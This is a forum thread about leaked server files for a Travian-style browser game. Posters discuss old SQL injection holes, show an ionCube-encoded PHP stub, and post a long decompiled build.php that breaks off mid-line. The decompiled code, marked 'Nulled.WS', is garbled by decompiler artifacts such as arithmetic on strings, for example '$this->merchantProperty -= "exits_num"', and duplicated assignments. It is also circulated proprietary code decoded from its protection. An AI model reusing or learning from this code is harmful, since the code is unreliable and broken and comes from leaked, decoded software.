• Unfortunately, we have experienced significant hard drive damage that requires urgent maintenance and rebuilding. The forum will be a state of read only until we install our new drives and rebuild all the configurations needed. Please follow our Facebook page for updates, we will be back up shortly! (The forum could go offline at any given time due to the nature of the failed drives whilst awaiting the upgrades.) When you see an Incapsula error, you know we are in the process of migration.

[DBOOR] travianby.us - delviewtravian.com AC " new zravian" files

Status
Not open for further replies.
Junior Spellweaver
Joined
Mar 30, 2012
Messages
195
Reaction score
59
Hello,
I was owner of travianby.us and I gave my files to the owner of delviewtravian, a friend. It seems that he shared them with some people and the fact is that now a certain "Dzoki" is selling these files, saying that it is new zravian files. It is old zravian files from 2012 rewrited by me in MAY 2013 and I think it is too old and maybe useless. However, I prefer that people get it for free instead of being scammed by a penis.

link :

-- tutorial
Have a good day.
 
Last edited:
Newbie Spellweaver
Joined
Feb 25, 2013
Messages
25
Reaction score
12
Re: [DBOOR] travianby.us - delviewtravian.com AC " new zravian" files

Are all sql injections fixed in this version?
I remember that in vn and dboor files were the hole that was providing access to the games database



btw is there any chances to run these files?
 
Junior Spellweaver
Joined
Mar 30, 2012
Messages
195
Reaction score
59
Yeah there is no sql injection or any other poop
what do you mean by run these files ? It run like every dboor
 
Skilled Illusionist
Joined
Jun 24, 2010
Messages
351
Reaction score
360
I am not capable, I can not figure out which are encoded and what not ..: (sorry for my ignorance
just open every file.. if you see something like this:
PHP:
<?php //003ab
if(!extension_loaded('ionCube Loader')){$__oc=strtolower(substr(php_uname(),0,3));$__ln='ioncube_loader_'.$__oc.'_'.substr(phpversion(),0,3).(($__oc=='win')?'.dll':'.so');@dl($__ln);if(function_exists('_il_exec')){return _il_exec();}$__ln='/ioncube/'.$__ln;$__oid=$__id=realpath(ini_get('extension_dir'));$__here=dirname(__FILE__);if(strlen($__id)>1&&$__id[1]==':'){$__id=str_replace('\\','/',substr($__id,2));$__here=str_replace('\\','/',substr($__here,2));}$__rd=str_repeat('/..',substr_count($__id,'/')).$__here.'/';$__i=strlen($__rd);while($__i--){if($__rd[$__i]=='/'){$__lp=substr($__rd,0,$__i).$__ln;if(file_exists($__oid.$__lp)){$__ln=$__lp;break;}}}@dl($__ln);}else{die('The file '.__FILE__." is corrupted.\n");}if(function_exists('_il_exec')){return _il_exec();}echo('Site error: the file <b>'.__FILE__.'</b> requires the ionCube PHP Loader '.basename($__ln).' to be installed by the site administrator.');exit(199);
?>
4+oV54JawrfjIT2TV5L+ULKkfu/kz51ZtUhxjT0INjmnkndEPJHPejlIUoC1c9Lpb9bdavuYJ9wJ
GgHNwIZHKW09cDdP+lfmn0avy1NZz9TSY9mK2ec1igZR7olSgMefVDDmMdItXtTRT6gDhdU1Ws1b
/s/zd06aacvMHWNQDyZXxgYn1wWsaSHHq4abrn2rUL3gnEyBOpeNz+Fw3YBm8vPZTYWWq3Z/qfgz
LuEYcqoIblrSPCUO5LDtD8t03ODVZVojuV3+jABNiU5dQSwP76W5y/FIrPy/7WkqDPAhAgQczayg
iSDrR56sVyWP9A6acg1f8fLi6ZwTYzvprAYSCdjETv+/eSU1nEm0ythvMLeIYCb0ihU7CNjk3xKS
KT7uk0S94UIB8V7EtLodzJ22HpZTHYOxRztE7ORslLaV+ZczvcHTm0aLeHzR7N0CmPV1AsIwXtya
muynUq+B39nf0cMS9TWIEXo+R4BzddTxpfMGS6Oep/Yo3v9bM9QXgeqxWvPVIQhWqy+iLgUQD7Zy
KLIAhaUfooXQwLehvRtPNLRbBN1NZ8mwVAkCguxn7XnqZPyVaKKgcNlzllaT/UV0zsTCpjtL/QPY
ukAEX75azB93hqbSdQET3BEGsb85wh84oFPY/muwMRgX79IVUUCMdg6cm1DMYqoNRURfmrcy+BFn
WJagePgEfTP3wUA9M//WkWiaZHAezC+R2FKb5EWRvvN/EqhYOdFhGsJwrcBckQ2nZheqqnHx3rW4
then the file is encoded.. i hope you understood
 
Newbie Spellweaver
Joined
Oct 20, 2013
Messages
34
Reaction score
2
Re: [DBOOR] travianby.us - delviewtravian.com AC &quot; new zravian&quot; files

Here is the decoded of build.php

PHP:
<?php/*********************//*                   *//*  Dezend for PHP5  *//*         NWS       *//*      Nulled.WS    *//*                   *//*********************/
require( ".".DIRECTORY_SEPARATOR."app".DIRECTORY_SEPARATOR."boot.php" );require_once( MODEL_PATH."build.php" );class GPage extends VillagePage{
    public $productionPane = TRUE;    public $buildingView = "";    public $buildingIndex = -1;    public $buildProperties = NULL;    public $newBuilds = NULL;    public $troopsUpgrade;    public $troopsUpgradeType;    public $buildingTribeFactor;    public $troops = array( );    public $selectedTabIndex = 0;    public $villageOases;    public $childVillages;    public $hasHero = FALSE;    public $totalCpRate;    public $totalCpValue;    public $neededCpValue;    public $childVillagesCount;    public $showBuildingForm;    public $embassyProperty;    public $merchantProperty;    public $rallyPointProperty;    public $crannyProperty = array( 'buildingCount' => 0, 'totalSize' => 0 );    public $warriorMessage = "";    public $dataList;    public $pageSize = 40;    public $pageCount;    public $pageIndex;
    public function GPage( )    {        parent::villagepage( );         $this->viewFile = "build.phtml";        $this->contentCssClass = "build";    }
    public function onLoadBuildings( $building )    {        $GameMetadata = $GLOBALS['GameMetadata'];        if ( $this->buildingIndex == 0 - 1 && isset( $_GET['bid'] ) && is_numeric( $_GET['bid'] ) && $_GET['bid'] == $building['item_id'] )        {            $this->buildingIndex = $building['index'];        }        if ( $building['item_id'] == 23 && 0 < $building['level'] )        {            ++$this->crannyProperty['buildingCount'];            $this->crannyProperty['totalSize'] += $this->crannyProperty['buildingCount'];        }    }
     public function load( )    {        parent::load( );        if ( $this->buildingIndex == 0 - 1 && isset( $_GET['id'] ) && is_numeric( $_GET['id'] ) && isset( $this->buildings[$_GET['id']] ) )        {            $this->buildingIndex = intval( $_GET['id'] );        }        $this->buildProperties = $this->getBuildingProperties( $this->buildingIndex );        if ( $this->buildProperties == NULL )        {            $this->redirect( "village1.php" );        }        else if ( $this->buildProperties['emptyPlace'] )        {            $this->villagesLinkPostfix .= "&id=".$this->buildingIndex;            $this->newBuilds = array(                "available" => array( ),                "soon" => array( )            );            foreach ( $this->gameMetadata['items'] as $item_id => $build )            {                if ( $item_id <= 4 || !isset( $build['for_tribe_id'][$this->tribeId] ) )                {                    continue;                }                $canBuild = $this->canCreateNewBuild( $item_id );                if ( $canBuild != 0 - 1 )                {                    if ( $canBuild )                    {                        if ( !isset( $this->newBuilds['available'][$build['levels'][0]['time_consume']] ) )                        {                            $this->newBuilds['available'][$build['levels'][0]['time_consume']] = array( );                        }                        $this->newBuilds['available'][$build['levels'][0]['time_consume']][$item_id] = $build;                    }                    else                    {                        $dependencyCount = 0;                        foreach ( $build['pre_requests'] as $reqId => $reqValue )                        {                            if ( $reqValue != NULL )                            {                                $build['pre_requests_dependencyCount'][$reqId] = $reqValue - $this->_getMaxBuildingLevel( $reqId );                                $dependencyCount += $build['pre_requests_dependencyCount'][$reqId];                            }                        }                        if ( !isset( $this->newBuilds['soon'][$dependencyCount] ) )                        {                            $this->newBuilds['soon'][$dependencyCount] = array( );                        }                        $this->newBuilds['soon'][$dependencyCount][$item_id] = $build;                    }                }            }            ksort( $this->newBuilds['available'], SORT_NUMERIC );            ksort( $this->newBuilds['soon'], SORT_NUMERIC );        }        else        {            $bitemId = $this->buildProperties['building']['item_id'];            $this->villagesLinkPostfix .= "&id=".$this->buildingIndex;            if ( 4 < $bitemId )            {                $this->villagesLinkPostfix .= "&bid=".$bitemId;            }            $this->buildingTribeFactor = isset( $this->gameMetadata['items'][$bitemId]['for_tribe_id'][$this->data['tribe_id']] ) ? $this->gameMetadata['items'][$bitemId]['for_tribe_id'][$this->data['tribe_id']] : 1;            if ( $this->buildings[$this->buildingIndex]['level'] == 0 )            {                return;            }            switch ( $bitemId )            {            case 12 :            case 13 :                $this->productionPane = FALSE;                $this->buildingView = "Blacksmith_Armoury";                $this->handleBlacksmithArmoury( );                break;            case 15 :                if ( 10 <= $this->buildings[$this->buildingIndex]['level'] )                {                    $this->buildingView = "MainBuilding";                    $this->handleMainBuilding( );                }                break;            case 16 :                $this->productionPane = FALSE;                $this->buildingView = "RallyPoint";                $this->handleRallyPoint( );                break;            case 17 :                $this->productionPane = FALSE;                $this->buildingView = "Marketplace";                $this->handleMarketplace( );                break;            case 18 :                $this->productionPane = FALSE;                $this->buildingView = "Embassy";                $this->handleEmbassy( );                break;            case 19 :            case 20 :            case 21 :            case 29 :            case 30 :            case 36 :                $this->_getOnlyMyTroops( );                $this->productionPane = $bitemId == 36;                $this->buildingView = "TroopBuilding";                $this->handleTroopBuilding( );                break;            case 22 :                $this->productionPane = FALSE;                $this->buildingView = "Academy";                $this->handleAcademy( );                break;            case 23 :                $this->productionPane = TRUE;                $this->buildingView = "Cranny";                break;            case 24 :                $this->productionPane = FALSE;                $this->buildingView = "TownHall";                $this->handleTownHall( );                break;            case 25 :            case 26 :                $this->productionPane = FALSE;                $this->buildingView = "Residence_Palace";                $this->handleResidencePalace( );                break;            case 37 :                $this->productionPane = FALSE;                $this->buildingView = "HerosMansion";                $this->handleHerosMansion( );                break;            case 40 :                $this->productionPane = FALSE;                break;            case 42 :                $this->_getOnlyMyTroops( );                $this->productionPane = TRUE;                $this->buildingView = "Warrior";                $this->handleWarrior( );            }        }    }
    public function handleBlacksmithArmoury( )    {        $this->troopsUpgradeType = $this->buildings[$this->buildingIndex]['item_id'] == 12 ? QS_TROOP_UPGRADE_ATTACK : QS_TROOP_UPGRADE_DEFENSE;        $this->troopsUpgrade = array( );        $_arr = explode( ",", $this->data['troops_training'] );        $_c = 0;        foreach ( $_arr as $troopStr )        {            ++$_c;            $attack_level = explode( " ", $troopStr );            $defense_level = explode( " ", $troopStr );            $researches_done = explode( " ", $troopStr );            $troopId = explode( " ", $troopStr );            list( $troopId, $researches_done, $defense_level, $attack_level ) = $troopId;            $tlevel = $this->troopsUpgradeType == QS_TROOP_UPGRADE_ATTACK ? $attack_level : $defense_level;            if ( $troopId != 99 && $_c <= 8 && $tlevel < 20 && $researches_done == 1 )            {                $this->troopsUpgrade[$troopId] = $tlevel;            }        }        if ( isset( $_GET['a'], $_GET['k'] ) && $_GET['k'] == $this->data['update_key'] && !isset( $this->queueModel->tasksInQueue[$this->troopsUpgradeType] ) && isset( $this->troopsUpgrade[intval( $_GET['a'] )] ) && !$this->isGameTransientStopped( ) && !$this->isGameOver( ) )        {            $troopId = intval( $_GET['a'] );            $level = $this->troopsUpgrade[$troopId];            $buildingMetadata = $this->gameMetadata['items'][$this->buildProperties['building']['item_id']]['troop_upgrades'][$troopId][$level];            if ( !$this->isResourcesAvailable( $buildingMetadata['resources'] ) )            {            }            else            {                $calcConsume = intval( $buildingMetadata['time_consume'] / $this->gameSpeed * ( 10 / ( $this->buildProperties['building']['level'] + 9 ) ) );                $newTask = new QueueTask( $this->troopsUpgradeType, $this->player->playerId, $calcConsume );                $newTask->villageId = $this->data['selected_village_id'];                $newTask->procParams = $troopId." ".( $level + 1 );                $newTask->tag = $buildingMetadata['resources'];                $this->queueModel->addTask( $newTask );            }        }    }
    public function handleMainBuilding( )    {        if ( $this->isPost( ) && isset( $_POST['drbid'] ) && 19 <= intval( $_POST['drbid'] ) && intval( $_POST['drbid'] ) <= sizeof( $this->buildings ) && isset( $this->buildings[$_POST['drbid']] ) && 0 < $this->buildings[$_POST['drbid']]['level'] && !isset( $this->queueModel->tasksInQueue[QS_BUILD_DROP] ) && !$this->isGameTransientStopped( ) && !$this->isGameOver( ) )        {            $item_id = $this->buildings[$_POST['drbid']]['item_id'];            $calcConsume = intval( $this->gameMetadata['items'][$item_id]['levels'][$this->buildings[$_POST['drbid']]['level'] - 1]['time_consume'] / $this->gameSpeed * ( $this->data['time_consume_percent'] / 400 ) );            $newTask = new QueueTask( QS_BUILD_DROP, $this->player->playerId, $calcConsume );            $newTask->villageId = $this->data['selected_village_id'];            $newTask->buildingId = $item_id;            $newTask->procParams = $this->buildings[$_POST['drbid']]['index'];            $this->queueModel->addTask( $newTask );        }        else if ( isset( $_GET['qid'] ) && is_numeric( $_GET['qid'] ) && isset( $_GET['k'] ) && $_GET['k'] == $this->data['update_key'] && isset( $_GET['d'] ) && isset( $this->queueModel->tasksInQueue[QS_BUILD_DROP] ) && !$this->isGameTransientStopped( ) && !$this->isGameOver( ) )        {            $this->queueModel->cancelTask( $this->player->playerId, intval( $_GET['qid'] ) );        }    }
    public function handleRallyPoint( )    {        if ( isset( $_GET['d'] ) )        {            $this->queueModel->cancelTask( $this->player->playerId, intval( $_GET['d'] ) );        }        $this->rallyPointProperty = array(            "troops_in_village" => array(                "troopsTable" => $this->_getTroopsList( "troops_num" ),                "troopsIntrapTable" => $this->_getTroopsList( "troops_intrap_num" )            ),            "troops_out_village" => array(                "troopsTable" => $this->_getTroopsList( "troops_out_num" ),                "troopsIntrapTable" => $this->_getTroopsList( "troops_out_intrap_num" )            ),            "troops_in_oases" => array( ),            "war_to_village" => $this->queueModel->tasksInQueue['war_troops']['to_village'],            "war_from_village" => $this->queueModel->tasksInQueue['war_troops']['from_village'],            "war_to_oasis" => $this->queueModel->tasksInQueue['war_troops']['to_oasis']        );        $village_oases_id = trim( $this->data['village_oases_id'] );        if ( $village_oases_id != "" )        {            $m = new BuildModel( );            $result = $m->getOasesDataById( $village_oases_id );            while ( $result->next( ) )            {                $this->rallyPointProperty['troops_in_oases'][$result->row['id']] = array(                    "oasisRow" => $result->row,                    "troopsTable" => $this->_getOasisTroopsList( $result->row['troops_num'] ),                    "war_to" => isset( $this->rallyPointProperty['war_to_oasis'][$result->row['id']] ) ? $this->rallyPointProperty['war_to_oasis'][$result->row['id']] : NULL                );            }            $m->dispose( );        }    }
   public function _canCancelWarTask( $taskType, $taskId )    {        if ( !QueueTask::iscancelabletask( $taskType ) )        {            return FALSE;        }        $timeout = QueueTask::getmaxcanceltimeout( $taskType );        if ( 0 - 1 < $timeout )        {            $_task = NULL;            foreach ( $this->queueModel->tasksInQueue[$taskType] as $t )            {                if ( !( $t['id'] == $taskId ) )                {                    continue;                }                $_task = $t;                break;                break;            }            if ( $_task == NULL )            {                return FALSE;            }            $elapsedTime = $t['elapsedTime'];            if ( $timeout < $elapsedTime )            {                return FALSE;            }        }        return TRUE;    }
    public function _getOasisTroopsList( $troops_num )    {        $GameMetadata = $GLOBALS['GameMetadata'];        $m = new BuildModel( );        $returnTroops = array( );        if ( trim( $troops_num ) != "" )        {            $t_arr = explode( "|", $troops_num );            foreach ( $t_arr as $t_str )            {                $t2_arr = explode( ":", $t_str );                $vid = $t2_arr[0];                $villageData = $m->getVillageData2ById( $vid );                $returnTroops[$vid] = array( "villageData" => $villageData, "cropConsumption" => 0, "hasHero" => FALSE, "troops" => array( ) );                $t2_arr = explode( ",", $t2_arr[1] );                foreach ( $t2_arr as $t2_str )                {                    $tnum = explode( " ", $t2_str );                    $tid = explode( " ", $t2_str );                    list( $tid, $tnum ) = $tid;                    if ( $tid == 99 )                    {                        continue;                    }                    if ( $tnum == 0 - 1 )                    {                        $tnum = 1;                        $returnTroops[$vid]['hasHero'] = TRUE;                    }                    else                    {                        $returnTroops[$vid]['troops'][$tid] = $tnum;                    }                    $returnTroops[$vid]['cropConsumption'] += $GameMetadata['troops'][$tid]['crop_consumption'] * $tnum;                                }            }        }        $m->dispose( );        return $returnTroops;    }
    public function _getTroopsList( $key )    {        $GameMetadata = $GLOBALS['GameMetadata'];        $m = new BuildModel( );        $returnTroops = array( );        if ( trim( $this->data[$key] ) != "" )        {            $t_arr = explode( "|", $this->data[$key] );            foreach ( $t_arr as $t_str )            {                $t2_arr = explode( ":", $t_str );                $vid = intval( $t2_arr[0] );                $villageData = NULL;                if ( $vid == 0 - 1 )                {                    $vid = $this->data['selected_village_id'];                    $villageData = array( "id" => $vid, "village_name" => $this->data['village_name'], "player_id" => $this->player->playerId, "player_name" => buildings_p_thisvillage );                }                else                {                    $villageData = $m->getVillageData2ById( $vid );                }                $returnTroops[$vid] = array( "villageData" => $villageData, "cropConsumption" => 0, "hasHero" => FALSE, "troops" => array( ) );                if ( $vid == $this->data['selected_village_id'] )                {                    $returnTroops[$vid]['hasHero'] = intval( $this->data['hero_in_village_id'] ) == intval( $this->data['selected_village_id'] );                    if ( $returnTroops[$vid]['hasHero'] )                    {                         $returnTroops[$vid]['cropConsumption'] += $GameMetadata['troops'][$this->data['hero_troop_id']]['crop_consumption'];                       }                }                $t2_arr = explode( ",", $t2_arr[1] );                foreach ( $t2_arr as $t2_str )                {                    $tnum = explode( " ", $t2_str );                    $tid = explode( " ", $t2_str );                    list( $tid, $tnum ) = $tid;                    if ( $tid == 99 )                    {                        continue;                    }                    if ( $tnum == 0 - 1 )                    {                        $tnum = 1;                        $returnTroops[$vid]['hasHero'] = TRUE;                    }                    else                    {                        $returnTroops[$vid]['troops'][$tid] = $tnum;                    }                    $returnTroops[$vid]['cropConsumption'] += $GameMetadata['troops'][$tid]['crop_consumption'] * $tnum;                }            }        }        $m->dispose( );        return $returnTroops;    }
    public function handleMarketplace( )    {        $this->selectedTabIndex = isset( $_GET['t'] ) && is_numeric( $_GET['t'] ) && 1 <= intval( $_GET['t'] ) && intval( $_GET['t'] ) <= 3 ? intval( $_GET['t'] ) : 0;        $itemId = $this->buildings[$this->buildingIndex]['item_id'];        $itemLevel = $this->buildings[$this->buildingIndex]['level'];        $tribeMetadata = $this->gameMetadata['tribes'][$this->data['tribe_id']];        $tradeOfficeLevel = $this->_getMaxBuildingLevel( 28 );        $capacityFactor = $tradeOfficeLevel == 0 ? 1 : $this->gameMetadata['items'][28]['levels'][$tradeOfficeLevel - 1]['value'] / 100;        $capacityFactor *= $this->gameMetadata['game_speed'];        $total_merchants_num = $this->gameMetadata['items'][$itemId]['levels'][$itemLevel - 1]['value'];        $exist_num = $total_merchants_num - $this->queueModel->tasksInQueue['out_merchants_num'] - $this->data['offer_merchants_count'];        if ( $exist_num < 0 )        {            $exist_num = 0;        }        $this->merchantProperty = array( "speed" => $tribeMetadata['merchants_velocity'] * $this->gameMetadata['game_speed'], "capacity" => floor( $tribeMetadata['merchants_capacity'] * $capacityFactor ), "total_num" => $total_merchants_num, "exits_num" => $exist_num, "confirm_snd" => FALSE, "same_village" => FALSE, "vRow" => NULL );        if ( $this->selectedTabIndex == 0 )        {            $m = new BuildModel( );            if ( $this->isPost( ) || isset( $_GET['vid2'] ) )            {                $resources = array( "1" => isset( $_POST['r1'] ) ? intval( $_POST['r1'] ) : 0, "2" => isset( $_POST['r2'] ) ? intval( $_POST['r2'] ) : 0, "3" => isset( $_POST['r3'] ) ? intval( $_POST['r3'] ) : 0, "4" => isset( $_POST['r4'] ) ? intval( $_POST['r4'] ) : 0 );                $this->merchantProperty['confirm_snd'] = $this->isPost( ) ? isset( $_POST['act'] ) && $_POST['act'] == 1 : isset( $_GET['vid2'] );                $map_size = $this->setupMetadata['map_size'];                $doSend = FALSE;                if ( $this->merchantProperty['confirm_snd'] )                {                    $vRow = NULL;                    if ( trim( $_POST['y'] ) != "" )                    {                        $vid = $this->__getVillageId( $map_size, $this->__getCoordInRange( $map_size, intval( $_POST['x'] ) ), $this->__getCoordInRange( $map_size, intval( $_POST['y'] ) ) );                        $vRow = $m->getVillageDataById( $vid );                    }                    else                    {                        if ( isset( $_POST['vname'] ) && trim( $_POST['vname'] ) != "" )                        {                            $vRow = $m->getVillageDataByName( trim( $_POST['vname'] ) );                        }                        else                        {                            if ( isset( $_GET['vid2'] ) )                            {                                $vRow = $m->getVillageDataById( intval( $_GET['vid2'] ) );                                if ( $vRow != NULL )                                {                                    $_POST['x'] = $vRow['rel_x'];                                    $_POST['y'] = $vRow['rel_y'];                                }                            }                        }                    }                }                else                {                    $doSend = TRUE;                    $vRow = $m->getVillageDataById( intval( $_POST['vid2'] ) );                    $this->merchantProperty['showError'] = FALSE;                    $_POST['r1'] = $_POST['r2'] = $_POST['r3'] = $_POST['r4'] = "";                }                if ( 0 < intval( $vRow['player_id'] ) && $m->getPlayType( intval( $vRow['player_id'] ) ) == PLAYERTYPE_ADMIN )                {                    $this->merchantProperty['showError'] = FALSE;                    $this->merchantProperty['confirm_snd'] = FALSE;                }                else                {                    $this->merchantProperty['vRow'] = $vRow;                    $vid = $this->merchantProperty['to_vid'] = $vRow != NULL ? $vRow['id'] : 0;                    $rel_x = $vRow['rel_x'];                    $rel_y = $vRow['rel_y'];                    $this->merchantProperty['same_village'] = $vid == $this->data['selected_village_id'];                    $this->merchantProperty['available_res'] = $this->isResourcesAvailable( $resources );                    $this->merchantProperty['vRow_merchant_num'] = ceil( ( $resources[1] + $resources[2] + $resources[3] + $resources[4] ) / $this->merchantProperty['capacity'] );                    $this->merchantProperty['confirm_snd'] = 0 < $vid && $this->merchantProperty['available_res'] && 0 < $this->merchantProperty['vRow_merchant_num'] && $this->merchantProperty['vRow_merchant_num'] <= $this->merchantProperty['exits_num'] && !$this->merchantProperty['same_village'];                    $this->merchantProperty['showError'] = !$this->merchantProperty['confirm_snd'];                    $distance = WebHelper::getdistance( $this->data['rel_x'], $this->data['rel_y'], $rel_x, $rel_y, $this->setupMetadata['map_size'] / 2 );                    $this->merchantProperty['vRow_time'] = intval( $distance / $this->merchantProperty['speed'] * 3600 );                    if ( !$this->merchantProperty['showError'] && $doSend && !$this->isGameTransientStopped( ) && !$this->isGameOver( ) )                    {                        $this->merchantProperty['confirm_snd'] = FALSE;                        $this->merchantProperty -= "exits_num";                        $newTask = new QueueTask( QS_MERCHANT_GO, $this->player->playerId, $this->merchantProperty['vRow_time'] );                        $newTask->villageId = $this->data['selected_village_id'];                        $newTask->toPlayerId = $vRow['player_id'];                        $newTask->toVillageId = $vid;                        $newTask->procParams = $this->merchantProperty['vRow_merchant_num']."|".( $resources[1]." ".$resources[2]." ".$resources[3]." ".$resources[4] );                        $newTask->tag = $resources;                        $this->queueModel->addTask( $newTask );                    }                }            }            $m->dispose( );        }        else if ( $this->selectedTabIndex == 1 )        {            $m = new BuildModel( );            $showOfferList = TRUE;            if ( isset( $_GET['oid'] ) && 0 < intval( $_GET['oid'] ) )            {                $oRow = $m->getOffer2( intval( $_GET['oid'] ), $this->data['rel_x'], $this->data['rel_y'], $this->setupMetadata['map_size'] / 2 );                if ( $oRow != NULL )                {                    $aid = 0;                    if ( $oRow['alliance_only'] && 0 < intval( $this->data['alliance_id'] ) )                    {                        $aid = $m->getPlayerAllianceId( $oRow['player_id'] );                    }                    $res2 = explode( "|", $oRow['offer'] );                    $res1 = explode( "|", $oRow['offer'] );                    list( $res1, $res2 ) = $res1;                    $resArr1 = explode( " ", $res1 );                    $needResources = array( "1" => $resArr1[0], "2" => $resArr1[1], "3" => $resArr1[2], "4" => $resArr1[3] );                    $res1_item_id = 0;                    $res1_value = 0;                    $i = 0;                    $_c = sizeof( $resArr1 );                    while ( $i < $_c )                    {                        if ( 0 < $resArr1[$i] )                        {                            $res1_item_id = $i + 1;                            $res1_value = $resArr1[$i];                            break;                        }                        ++$i;                    }                    $resArr1 = explode( " ", $res2 );                    $giveResources = array( "1" => $resArr1[0], "2" => $resArr1[1], "3" => $resArr1[2], "4" => $resArr1[3] );                    $res2_item_id = 0;                    $res2_value = 0;                    $i = 0;                    $_c = sizeof( $resArr1 );                    while ( $i < $_c )                    {                        if ( 0 < $resArr1[$i] )                        {                            $res2_item_id = $i + 1;                            $res2_value = $resArr1[$i];                            break;                        }                        ++$i;                    }                    $distance = $oRow['timeInSeconds'] / 3600 * $oRow['merchants_speed'];                    $acceptResult = $this->_canAcceptOffer( $needResources, $giveResources, $oRow['village_id'], $oRow['alliance_only'], $aid, $oRow['max_time'], $distance );                    if ( $acceptResult == 5 && !$this->isGameTransientStopped( ) && !$this->isGameOver( ) )                    {                        $showOfferList = FALSE;                        $this->merchantProperty['offerProperty'] = array( "player_id" => $oRow['player_id'], "player_name" => $oRow['player_name'], "res1_item_id" => $res1_item_id, "res1_value" => $res1_value, "res2_item_id" => $res2_item_id, "res2_value" => $res2_value );                        $merchantNum = ceil( ( $giveResources[1] + $giveResources[2] + $giveResources[3] + $giveResources[4] ) / $this->merchantProperty['capacity'] );                        $newTask = new QueueTask( QS_MERCHANT_GO, $this->player->playerId, $distance / ( $this->gameMetadata['tribes'][$this->data['tribe_id']]['merchants_velocity'] * $this->gameMetadata['game_speed'] ) * 3600 );                        $newTask->villageId = $this->data['selected_village_id'];                        $newTask->toPlayerId = $oRow['player_id'];                        $newTask->toVillageId = $oRow['village_id'];                        $newTask->procParams = $merchantNum."|".( $giveResources[1]." ".$giveResources[2]." ".$giveResources[3]." ".$giveResources[4] );                        $newTask->tag = $giveResources;                        $this->queueModel->addTask( $newTask );                        $newTask = new QueueTask( QS_MERCHANT_GO, $oRow['player_id'], $oRow['timeInSeconds'] );                        $newTask->villageId = $oRow['village_id'];                        $newTask->toPlayerId = $this->player->playerId;                        $newTask->toVillageId = $this->data['selected_village_id'];                        $newTask->procParams = $oRow['merchants_num']."|".( $needResources[1]." ".$needResources[2]." ".$needResources[3]." ".$needResources[4] );                        $newTask->tag = array( "1" => 0, "2" => 0, "3" => 0, "4" => 0 );                        $this->queueModel->addTask( $newTask );                        $m->removeMerchantOffer( intval( $_GET['oid'] ), $oRow['player_id'], $oRow['village_id'] );                    }                }            }            $this->merchantProperty['showOfferList'] = $showOfferList;            if ( $showOfferList )            {                $rowsCount = $m->getAllOffersCount( $this->data['selected_village_id'], $this->data['rel_x'], $this->data['rel_y'], $this->setupMetadata['map_size'] / 2, $this->gameMetadata['tribes'][$this->data['tribe_id']]['merchants_velocity'] * $this->gameMetadata['game_speed'] );                $this->pageCount = 0 < $rowsCount ? ceil( $rowsCount / $this->pageSize ) : 1;                $this->pageIndex = isset( $_GET['p'] ) && is_numeric( $_GET['p'] ) && intval( $_GET['p'] ) < $this->pageCount ? intval( $_GET['p'] ) : 0;                $this->merchantProperty['all_offers'] = $m->getAllOffers( $this->data['selected_village_id'], $this->data['rel_x'], $this->data['rel_y'], $this->setupMetadata['map_size'] / 2, $this->gameMetadata['tribes'][$this->data['tribe_id']]['merchants_velocity'] * $this->gameMetadata['game_speed'], $this->pageIndex, $this->pageSize );            }            $m->dispose( );        }        else        {            if ( $this->selectedTabIndex == 2 )            {                $m = new BuildModel( );                $this->merchantProperty['showError'] = FALSE;                $this->merchantProperty['showError2'] = FALSE;                $this->merchantProperty['showError3'] = FALSE;                if ( $this->isPost( ) )                {                     if ( isset( $_POST['m1'] ) && 0 < intval( $_POST['m1'] ) && isset( $_POST['m2'] ) && 0 < intval( $_POST['m2'] ) && isset( $_POST['rid1'] ) && 0 < intval( $_POST['rid1'] ) && isset( $_POST['rid2'] ) && 0 < intval( $_POST['rid2'] ) )                        {                        $resources1 = array( "1" => isset( $_POST['rid1'] ) && intval( $_POST['rid1'] ) == 1 ? intval( $_POST['m1'] ) : 0, "2" => isset( $_POST['rid1'] ) && intval( $_POST['rid1'] ) == 2 ? intval( $_POST['m1'] ) : 0, "3" => isset( $_POST['rid1'] ) && intval( $_POST['rid1'] ) == 3 ? intval( $_POST['m1'] ) : 0, "4" => isset( $_POST['rid1'] ) && intval( $_POST['rid1'] ) == 4 ? intval( $_POST['m1'] ) : 0 );                        $resources2 = array( "1" => isset( $_POST['rid2'] ) && intval( $_POST['rid2'] ) == 1 ? intval( $_POST['m2'] ) : 0, "2" => isset( $_POST['rid2'] ) && intval( $_POST['rid2'] ) == 2 ? intval( $_POST['m2'] ) : 0, "3" => isset( $_POST['rid2'] ) && intval( $_POST['rid2'] ) == 3 ? intval( $_POST['m2'] ) : 0, "4" => isset( $_POST['rid2'] ) && intval( $_POST['rid2'] ) == 4 ? intval( $_POST['m2'] ) : 0 );                        if ( intval( $_POST['rid1'] ) == intval( $_POST['rid2'] ) || intval( $resources1[1] + $resources1[2] + $resources1[3] + $resources1[4] ) <= 0 || intval( $resources2[1] + $resources2[2] + $resources2[3] + $resources2[4] ) <= 0 )                        {                            $this->merchantProperty['showError'] = TRUE;                        }                        else if ( 10 < ceil( ( $resources2[1] + $resources2[2] + $resources2[3] + $resources2[4] ) / ( $resources1[1] + $resources1[2] + $resources1[3] + $resources1[4] ) ) )                        {                            $this->merchantProperty['showError'] = TRUE;                            $this->merchantProperty['showError3'] = TRUE;                        }                        $this->merchantProperty['available_res'] = $this->isResourcesAvailable( $resources1 );                        if ( $this->merchantProperty['available_res'] && !$this->merchantProperty['showError'] )                        {                            $this->merchantProperty['vRow_merchant_num'] = ceil( ( $resources1[1] + $resources1[2] + $resources1[3] + $resources1[4] ) / $this->merchantProperty['capacity'] );                            if ( 0 < $this->merchantProperty['vRow_merchant_num'] && $this->merchantProperty['vRow_merchant_num'] <= $this->merchantProperty['exits_num'] )                            {                                $this->merchantProperty -= "exits_num";                                $this->data += "offer_merchants_count";                                $offer = $resources1[1]." ".$resources1[2]." ".$resources1[3]." ".$resources1[4]."|".( $resources2[1]." ".$resources2[2]." ".$resources2[3]." ".$resources2[4] );                                $m->addMerchantOffer( $this->player->playerId, $this->data['name'], $this->data['selected_village_id'], $this->data['rel_x'], $this->data['rel_y'], $this->merchantProperty['vRow_merchant_num'], $offer, isset( $_POST['ally'] ), 0 < intval( $_POST['d2'] ) ? intval( $_POST['d2'] ) : 0, $this->gameMetadata['tribes'][$this->data['tribe_id']]['merchants_velocity'] * $this->gameMetadata['game_speed'] );                                foreach ( $resources1 as $k => $v )                                {                                    $this->resources[$k] -= "current_value";                                }                                $this->queueModel->_updateVillage( FALSE, FALSE );                            }                            else                            {                                $this->merchantProperty['showError'] = TRUE;                            }                        }                        else                        {                            $this->merchantProperty['showError'] = TRUE;                        }                    }                    else                    {                        $this->merchantProperty['showError'] = TRUE;                        $this->merchantProperty['showError2'] = TRUE;                    }                }                else if ( isset( $_GET['d'] ) && 0 < intval( $_GET['d'] 